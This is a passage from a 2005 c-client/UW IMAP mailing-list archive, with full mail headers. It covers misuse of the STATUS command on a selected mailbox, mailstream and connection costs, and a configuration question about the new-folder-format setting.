references mean in the >> status report? > > > It means that you did a STATUS command on the selected (opened) > mailbox; a completely unnecessary and wasteful operation which could > also have additional severe negative consequences. > > When you have a mailbox selected, the IMAP state already has all the > data that a STATUS command could return. The STATUS command is to the > be used only to get this data from a mailbox which is *NOT* selected. > > This has been shown to be an area which many novices fail to > understand; many seem to believe (incorrectly) that you have to do a > STATUS to get updated mailbox state. Learning how IMAP really works > in this case is likely to help client authors understand IMAP in other > cases, hence this is a mistake that I felt is important to correct. > >> This is a transcript of the IMAP status operation. The client is >> based on c-client, running in Windows XP, and the server is uw-imapd >> running over a TLS connection (on Linux) > > > If the client was written using c-client, then you did a mail_status() > call on a mailbox name when you already had a perfectly good > MAILSTREAM with all the data you need from a mail_open() call. > > The correct procedure is to get the data from the MAILSTREAM. For > example, in your case of getting: > (MESSAGES RECENT UNSEEN UIDNEXT UIDVALIDITY) > you should use > stream->nmsgs > stream->recent > either do a mail_search() for unseen and count the number of > responses coming back, or if all message metadata is in > c-client's cache just count the number of messages which have > !mail_elt(stream,i)->seen, for i=1 to nmsgs. > stream->uid_last+1 > stream->uid_validity > > The simplest way to get the RECENT count is: > mail_fetch_fast (stream,"1:*",NIL); > for (i = 1, j = 0; i <= stream->nmsgs; ++i) > if (!mail_elt (stream,i)->seen) ++j; > However that mail_fetch_fast() should only be done once in any > session. If you've already gotten all the message metadata once you > don't need to get it again. IMAP automatically updates it for you. > > A STATUS command forces the IMAP server to do its open mail_open() > call get the data from the resulting MAILSTREAM, then close it. But > it already has done a mail_open() on that mailbox, as has your > client. Hence the waste. The multiple opens can also cause other > problems. > >> Thanks very much. This certainly looks pretty confusing to me, but I' >> m just getting started writing a client using c-client. > > > The message is obnoxious for a reason; it's to get the client author's > attention and get him to ask "what's going on?" (and hopefully the > explanation will convince him to do the right thing instead of abusing > STATUS). So, in this case, it worked as designed. > > If there's anything unclear about any of the above, please ask. I'm > not sure if the above answer adequately explains "why" as opposed to > "what". > > Also, please don't feel bad; you have lots of company in having made > this mistake. You responded intelligently as well (ask and find out > what's wrong); too many people just try to hide the message and never > fix what their client is doing wrong... :-( > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Apr 16 10:22:51 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 16 Apr 2005 10:22:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GHMorw021812 for ; Sat, 16 Apr 2005 10:22:50 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3GHMnVI022617 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 16 Apr 2005 10:22:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3GHMfh7014926; Sat, 16 Apr 2005 10:22:41 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3GHLZKn046678 for ; Sat, 16 Apr 2005 10:21:35 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GHLYJa028762 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 16 Apr 2005 10:21:34 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GHLXwf019091; Sat, 16 Apr 2005 10:21:33 -0700 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GHLVKl022839 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sat, 16 Apr 2005 10:21:33 -0700 Message-Id: Date: Sat, 16 Apr 2005 10:21:28 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Schmidt Cc: c-client@u.washington.edu Subject: Re: What does CLIENT BUG in result of STATUS operation mean? In-Reply-To: <42614393.9040807@sepia.com> References: <4261293F.8000702@sepia.com> <42614393.9040807@sepia.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 16 Apr 2005, Mike Schmidt wrote: > Now I have an additional quick question, more a design question than anything > else: if I understand correctly, I should have 1 mailstream open to an imap > server, not one per mailbox. I should reuse this mailstream when switching > mailboxes instead of making a new one, is that correct? What happens to the > message cache in this case? It's a bit more complicated than that. You should have one MAILSTREAM open for each mailbox which you want to be open *simultaneously*. If you want to "switch" from one open mailbox to another, it is better to reuse the mailstream than to close the existing mailstream and open a new mailstream on the new name. With any of these operations, there are certain costs: Opening a new connection has the cost of TCP/IP session initiation, encryption negotiation, and authentication negotiation. Selecting a mailbox has the cost of server overhead to load/process the mailbox, and the protocol overload of loading the client cache. Closing a mailstream has the cost of discarding the message cache for the old name and closing the TCP/IP session. Opening a new mailstream has both the "opening a new connection" and the "selecting a mailbox" cost. Recycling a mailstream has the cost of discarding the message cache for the old name and "selecting a mailbox", but avoids the costs of closing the TCP/IP session and "opening a new connection". Keeping multiple sessions open allows you to monitor multiple mailboxes simultaneously, but there is a practical limit of how many mailboxes that you should have open at a time, no more than a handful. You want to do this if you want immediate real-time access to the mailbox and its messages, as opposed to passive monitoring. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Apr 16 10:45:07 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 16 Apr 2005 10:45:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GHj7US022375 for ; Sat, 16 Apr 2005 10:45:07 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3GHj6rl023372 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 16 Apr 2005 10:45:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3GHiw69018310; Sat, 16 Apr 2005 10:44:58 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3GHiMdX124080 for ; Sat, 16 Apr 2005 10:44:23 -0700 Received: from deepspace.sepia.com (space.sepia.com [205.236.40.42]) by mxe3.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GHiLPi002413 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 16 Apr 2005 10:44:22 -0700 Received: from [205.236.40.117] ([205.236.40.117]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j3GHf3YE012368 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 16 Apr 2005 13:41:03 -0400 Message-Id: <42614EF2.9000705@sepia.com> Date: Sat, 16 Apr 2005 13:44:18 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Schmidt To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: What does CLIENT BUG in result of STATUS operation mean? In-Reply-To: References: <4261293F.8000702@sepia.com> <42614393.9040807@sepia.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.137 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks Mark. When I look at the server logs for Thunderbird or Outlook, I never see more that one IMAP logon at a time. That also goes for all the users on our production server, although they are nearly all either Outlook or Thunderbird, with maybe an occasional Eudora thrown in for good measure. In my own case, on one account, I have maybe 30 or more mail folders, on another maybe 6 or 7. Yet I never see these IMAP clients logging on more than once simultaneously. Now, they don't use c-client as far as I can tell. Does this mean they are operating in a different way ? Something roughly equivalent to 1 connection, multiple mailstreams? For the moment, I expect to use just an inbox and a sent folder, so I only have two mailboxes to monitor/operate, and that may not even be simultaneously. But of course I'm just getting started. I 'd rather not be obliged to re-design my system later, so I need to at least consider the implications. If this becomes an issue, is it possible/useful/interesting to separate the connection from the mailstream? Or is uw-imap effective in this environment? (BTW, I have no intention of changing my mail server under any circumstances) unless forced to, and that would be kicking and screaming. Mark Crispin wrote: > On Sat, 16 Apr 2005, Mike Schmidt wrote: > >> Now I have an additional quick question, more a design question than >> anything else: if I understand correctly, I should have 1 mailstream >> open to an imap server, not one per mailbox. I should reuse this >> mailstream when switching mailboxes instead of making a new one, is >> that correct? What happens to the message cache in this case? > > > It's a bit more complicated than that. > > You should have one MAILSTREAM open for each mailbox which you want to > be open *simultaneously*. > > If you want to "switch" from one open mailbox to another, it is better > to reuse the mailstream than to close the existing mailstream and open > a new mailstream on the new name. > > With any of these operations, there are certain costs: > > Opening a new connection has the cost of TCP/IP session initiation, > encryption negotiation, and authentication negotiation. > > Selecting a mailbox has the cost of server overhead to load/process > the mailbox, and the protocol overload of loading the client cache. > > Closing a mailstream has the cost of discarding the message cache for > the old name and closing the TCP/IP session. > > Opening a new mailstream has both the "opening a new connection" and > the "selecting a mailbox" cost. > > Recycling a mailstream has the cost of discarding the message cache > for the old name and "selecting a mailbox", but avoids the costs of > closing the TCP/IP session and "opening a new connection". > > Keeping multiple sessions open allows you to monitor multiple > mailboxes simultaneously, but there is a practical limit of how many > mailboxes that you should have open at a time, no more than a > handful. You want to do this if you want immediate real-time access > to the mailbox and its messages, as opposed to passive monitoring. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Apr 16 11:09:28 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 16 Apr 2005 11:09:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GI9RdH023091 for ; Sat, 16 Apr 2005 11:09:27 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3GI9Q5T024240 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 16 Apr 2005 11:09:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3GI9J3P015932; Sat, 16 Apr 2005 11:09:20 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3GI8dav114208 for ; Sat, 16 Apr 2005 11:08:39 -0700 Received: from elf.biotech.kth.se (elf.biotech.kth.se [130.237.79.15]) by mxe1.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GI8bF7019646 for ; Sat, 16 Apr 2005 11:08:38 -0700 Received: from taby1-181 (unknown [213.132.119.181]) by elf.biotech.kth.se (Postfix) with ESMTP id DB54D23DEBB; Sat, 16 Apr 2005 20:08:35 +0200 (CEST) Message-Id: <1113674915l.27451l.2l@taby1-181> Date: Sat, 16 Apr 2005 18:08:35 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Pawel Salek To: Mike Schmidt Cc: c-client@u.washington.edu Subject: Re: What does CLIENT BUG in result of STATUS operation mean? In-Reply-To: <42614EF2.9000705@sepia.com> (from mike@sepia.com on Sat Apr 16 19:44:18 2005) References: <4261293F.8000702@sepia.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; DelSp=Yes; Format=Flowed Content-Disposition: inline Content-Transfer-Encoding: quoted-printable X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CHILD_PORN_NOT_1 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 04/16/2005 07:44:18 PM, Mike Schmidt wrote: > Thanks Mark. >=20 > When I look at the server logs for Thunderbird or Outlook, I never =20 > see more that one IMAP logon at a time. That also goes for all the =20 > users on our production server, although they are nearly all either =20 > Outlook or Thunderbird, with maybe an occasional Eudora thrown in for =20 > good measure. In my own case, on one account, I have maybe 30 or more =20 > mail folders, on another maybe 6 or 7. Yet I never see these IMAP =20 > clients logging on more than once simultaneously. Now, they don't =20 > use c-client as far as I can tell. Does this mean they are =20 > operating in a different way ? Something roughly equivalent to 1 =20 > connection, multiple mailstreams? There are many clients that open several concurrent connections. =20 Mozilla/Thunderbird allows limiting number of concurrent IMAP =20 connections (Server Settings/Advanced) and often uses just one by =20 chosing to SELECT mailboxes frequently and doing extensive client-side =20 caching. I guess the reason for this kind of model was that mozilla was =20 designed to work efficiently in offline imap mode which obviously is =20 not able to take advantage of many concurrent connections anyway. As =20 Mark wrote, it's a tradoff. If you have relatively short-lived =20 connections or your server's has some database-based backend with very =20 fast SELECT operation, opening one/very few connections may be a good =20 idea. If you need to interactively watch several mailboxes for =20 modifications, keeping separate connections open may be better. (BTW, =20 some imap servers allegedly limit number of concurrent connections for =20 the same user). > For the moment, I expect to use > just an inbox and a sent folder, so I only have two mailboxes to =20 > monitor/operate, and that may not even be simultaneously. But of =20 > course I'm just getting started. I 'd rather not be obliged to =20 > re-design my system later, so I need to at least consider the =20 > implications. If this becomes an issue, is it =20 > possible/useful/interesting to separate the connection from the =20 > mailstream? IIRC, each c-client mailstream opens a separate connection. Pawel > Or is uw- > imap effective in this environment? (BTW, I have no intention of =20 > changing my mail server under any circumstances) unless forced to, =20 > and that would be kicking and screaming. >=20 > Mark Crispin wrote: >=20 >> On Sat, 16 Apr 2005, Mike Schmidt wrote: >>=20 >>> Now I have an additional quick question, more a design question =20 >>> than anything else: if I understand correctly, I should have 1 =20 >>> mailstream open to an imap server, not one per mailbox. I should =20 >>> reuse this mailstream when switching mailboxes instead of making a =20 >>> new one, is that correct? What happens to the message cache in this =20 >>> case? >>=20 >>=20 >> It's a bit more complicated than that. >>=20 >> You should have one MAILSTREAM open for each mailbox which you want =20 >> to be open *simultaneously*. >>=20 >> If you want to "switch" from one open mailbox to another, it is =20 >> better to reuse the mailstream than to close the existing mailstream =20 >> and open a new mailstream on the new name. >>=20 >> With any of these operations, there are certain costs: >>=20 >> Opening a new connection has the cost of TCP/IP session initiation, =20 >> encryption negotiation, and authentication negotiation. >>=20 >> Selecting a mailbox has the cost of server overhead to load/process =20 >> the mailbox, and the protocol overload of loading the client cache. >>=20 >> Closing a mailstream has the cost of discarding the message cache =20 >> for the old name and closing the TCP/IP session. >>=20 >> Opening a new mailstream has both the "opening a new connection" and =20 >> the "selecting a mailbox" cost. >>=20 >> Recycling a mailstream has the cost of discarding the message cache =20 >> for the old name and "selecting a mailbox", but avoids the costs of =20 >> closing the TCP/IP session and "opening a new connection". >>=20 >> Keeping multiple sessions open allows you to monitor multiple =20 >> mailboxes simultaneously, but there is a practical limit of how many =20 >> mailboxes that you should have open at a time, no more than a =20 >> handful. You want to do this if you want immediate real-time access =20 >> to the mailbox and its messages, as opposed to passive monitoring. >>=20 >> -- Mark -- >>=20 >> http://staff.washington.edu/mrc >> Science does not emerge from voting, party politics, or public =20 >> debate. >> Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Apr 18 01:34:44 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Apr 2005 01:34:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3I8YiD5002039 for ; Mon, 18 Apr 2005 01:34:44 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3I8Ygga020120 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Apr 2005 01:34:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3I8YWxt019172; Mon, 18 Apr 2005 01:34:33 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3I8X10s088142 for ; Mon, 18 Apr 2005 01:33:01 -0700 Received: from mail.n200.com (x.xs4all.nl [194.109.237.135]) by mxe7.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3I8WwHG011960 for ; Mon, 18 Apr 2005 01:32:58 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id B907A25B85 for ; Mon, 18 Apr 2005 10:31:56 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 01930-03 for ; Mon, 18 Apr 2005 10:31:53 +0200 (CEST) Received: from [192.168.9.75] (unknown [213.201.178.215]) by mail.n200.com (Postfix) with ESMTP id AC1EC1A365 for ; Mon, 18 Apr 2005 10:31:53 +0200 (CEST) Message-Id: <4263707C.4060702@n200.com> Date: Mon, 18 Apr 2005 10:31:56 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Brand To: c-client@u.washington.edu Subject: set new-folder-format same-as-inbox broken? MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit X-Accept-Language: en, nl, es X-Enigmail-Version: 0.90.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Virus-Scanned: by amavisd-new at n200.com X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Could it be that "set new-folder-format same-as-inbox" documented in does not work in imap-2004c1? I have done a bunch of tests with this and it seems to have no effect when the INBOX is in mbx format. (New folders are still in the system (Linux) default of traditional Unix) On the other hande "set new-folder-format mbx" works as expected. Here is my /etc/c-client.cf: I accept the risk # uncomment this if you want plaintext logins w/o ssl (a bad idea) set disable-plaintext nil # uncomment this if you want $HOME/.imaprc to work for individual users # set allow-user-config T # don't allow people to use .. and ~ in mailbox expressions (cleaner) # set restrict-mailbox-access all set new-folder-format mbx regards, Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 18 01:35:34 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Apr 2005 01:35:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3I8ZYRC002067 for ; Mon, 18 Apr 2005 01:35:34 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3I8ZWex020164 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Apr 2005 01:35:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3I8ZQLC019610; Mon, 18 Apr 2005 01:35:27 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3I8XJeT088152 for ; Mon, 18 Apr 2005 01:33:19 -0700 Received: from mail.n200.com (x.xs4all.nl [194.109.237.135]) by mxe5.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3I8XI4O005398 for ; Mon, 18 Apr 2005 01:33:19 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id 7E1AD25B85 for ; Mon, 18 Apr 2005 10:33:18 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 01676-06 for ; Mon, 18 Apr 2005 10:33:17 +0200 (CEST) Received: from [192.168.9.75] (unknown [213.201.178.215]) by mail.n200.com (Postfix) with ESMTP id E00841A365 for ; Mon, 18 Apr 2005 10:33:16 +0200 (CEST) Message-Id: <426370CF.4010407@n200.com> Date: Mon, 18 Apr 2005 10:33:19 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Brand To: c-client@u.washington.edu Subject: possible imaprc.txt erratum MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit X-Accept-Language: en, nl, es X-Enigmail-Version: 0.90.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Virus-Scanned: by amavisd-new at n200.com X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CHILD_PORN_NOT_1 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In the following passage of imaprc.txt, shouldn't the sentence If INBOX is empty, it defaults to system standard. read If INBOX does not exist, it defaults to system standard. > 1) set new-folder-format > sets what format new mailboxes are created in. This also controls > default delivery via tmail and dmail. > > a) set new-folder-format same-as-inbox > Folder is created using the same mailbox format as INBOX. If > INBOX is empty, it defaults to system standard. > > b) set new-folder-format system-standard > This is the default. Folder is created using the wired-in system > standard format, which on most UNIX systems is ordinary UNIX > /bin/mail format. On SCO systems, this is MMDF. > > c) set new-folder-format > Folder is created using the given driver name, e.g. mbx, unix, > mmdf, etc. regards, Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 18 16:15:31 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Apr 2005 16:15:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3INFUEl007769 for ; Mon, 18 Apr 2005 16:15:30 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3INFTVB002962 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Apr 2005 16:15:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3INExMZ012808; Mon, 18 Apr 2005 16:14:59 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3INDvgt009562 for ; Mon, 18 Apr 2005 16:13:58 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3INDvLX032673 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 18 Apr 2005 16:13:57 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3INDuUr029570; Mon, 18 Apr 2005 16:13:56 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3INDuZZ012536 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Apr 2005 16:13:56 -0700 Message-Id: Date: Mon, 18 Apr 2005 16:13:59 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Brand Cc: c-client@u.washington.edu Subject: Re: set new-folder-format same-as-inbox broken? In-Reply-To: <4263707C.4060702@n200.com> References: <4263707C.4060702@n200.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 18 Apr 2005, Mark Brand wrote: > Could it be that "set new-folder-format same-as-inbox" documented in > does not > work in imap-2004c1? I have done a bunch of tests with this and it seems > to have no effect when the INBOX is in mbx format. It works for me. I just tried it. Note that an mbx-format INBOX must exist in order for this to work. > set disable-plaintext nil "nil" is not a valid argument. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Apr 18 16:16:20 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Apr 2005 16:16:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3INGKoN007799 for ; Mon, 18 Apr 2005 16:16:20 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3INGJmP003022 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Apr 2005 16:16:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3INGD0E016056; Mon, 18 Apr 2005 16:16:13 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3INFWXA060312 for ; Mon, 18 Apr 2005 16:15:32 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3INFWEu029038 